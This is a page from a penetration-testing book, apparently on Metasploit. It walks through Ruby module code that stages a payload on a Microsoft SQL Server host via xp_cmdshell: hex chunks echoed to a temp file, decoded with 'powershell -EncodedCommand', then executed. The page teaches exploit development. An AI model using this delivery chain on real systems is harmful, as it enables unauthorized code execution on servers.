background image

194

Chapter 13

At  , the string was converted to Unicode; this is a requirement to have 

the arguments and information passed to PowerShell. The 

h2b_encoded = 

Rex::Text.encoded_base64(h2b_unicode)

 is then passed to convert it to a Base64-

encoded string to be passed through MS SQL. Base64 is the encoding required 
to leverage the 

–EncodedCommand

 flag. We first converted our string to Unicode, 

and then to Base64, which is the format we need for all of our PowerShell 
commands. Finally, at   a message stating that we are in the process of 
uploading the payload is printed to the console.

Counters

Counters help you track your location in a file or keep track of how much 
data the program has read in. In the next example, a base counter called 

idx

 

starts at 

0

. The counter is used to identify the end of the file and move up 500 

bytes at a time when the hexadecimal-based binary is being sent to the oper-
ating system. Essentially, the counter is saying, “Read 500 bytes, and then 
send. Read another 500 bytes, and then send,” until it reaches the end of 
the file.

 idx=0 
 cnt = 500 
 while(idx < hex.length - 1) 

mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false) 
idx += cnt 
end

 

print_status("Converting the payload utilizing PowerShell EncodedCommand...")

mssql_xpcmdshell(

"powershell -EncodedCommand #{h2b_encoded}"

, debug) 

mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)
print_status("Executing the payload...")
mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})
print_status("Be sure to cleanup #{var_payload}.exe...")
end

Recall that to deliver the payload to the target operating system, we need 

to split it into 500-byte chunks. We use the counters 

idx

   and 

cnt 

 to track 

how the payload is being split up. The counter 

idx

 will gradually increase by 500, 

and we set the other counter 

cnt

 to 500 (we need to read in 500 bytes at a 

time). After the first 500 bytes have been read from the Metasploit payload 
at  , the 500 hexadecimal characters will be sent to the target machine. The 
500-byte chunks continue to be added until the 

idx

 counter reaches the same 

length as the payload, which equals the end of the file.

At   we see a message that the payload is being converted and sent to 

the target using the 

–EncodedCommand

 PowerShell command, which is where the 

conversion is occurring from the normal PowerShell command to a Base64 
encoded format (mentioned earlier).

The line 

"powershell –EncodedCommand #{h2b_encoded}"

 tells us that the pay-

load has executed. The PowerShell commands that we converted to Base64 
will convert the hexadecimal-based payload back to binary after it is executed.